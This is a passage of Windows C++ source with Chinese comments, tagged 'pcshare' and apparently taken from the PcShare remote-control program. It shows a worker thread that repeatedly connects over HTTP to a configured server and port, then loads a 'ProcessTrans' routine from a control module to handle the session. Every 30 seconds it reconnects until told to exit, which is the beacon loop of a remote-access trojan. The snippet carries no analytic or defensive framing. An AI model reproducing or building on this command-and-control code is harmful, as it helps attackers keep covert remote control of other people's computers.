//启动相应工作线程序
UINT m_Id = 0;
m_Thread = (HANDLE) _beginthreadex(NULL , 0 , 
SSH_WorkThread , (LPVOID) this , 0 , &m_Id);
}/*
** 函数名称: SSH_WorkThread
** 函数功能: 工作线程函数
** 传入参数: lPvoid : 任务相关数据结构指针 
** 传出参数: 无
** 引用函数: 无
** 返回值 : UINT
** 备注 : 无
*/
UINT WINAPI SshWork::SSH_WorkThread(LPVOID lPvoid)
{

       //取工作指针
        SshWork* pWork = (SshWork*) lPvoid;       //开始进入工作循环
         while(1)
       {
                //建立连接
                if(pWork->GetHttpConnect(&pWork->m_InitInfo))
                {
                        //连接成功,开始处理交易
                            PROCESSTRANS ProcessTrans = (PROCESSTRANS) 
                               GetProcAddress(pWork->hCtrlMd,"ProcessTrans");
                         if(ProcessTrans != NULL)
                                ProcessTrans(pWork->hFp , pWork->m_ExitEvent ,
                                                pWork->m_InitInfo.m_ServerAddr ,
                                                pWork->m_InitInfo.m_ServerPort,
                                                pWork->m_InitInfo.m_KeyName ,                                                pWork->m_InitInfo.m_ParentFile);
                   }                 //休息等待指定时间
                   if(WaitForSingleObject(pWork->m_ExitEvent,
                        30000) != WAIT_TIMEOUT)
                      break;
        }        //销毁资源
         pWork->StopWork();
        ExitProcess(0);
        return 0;
}pcshare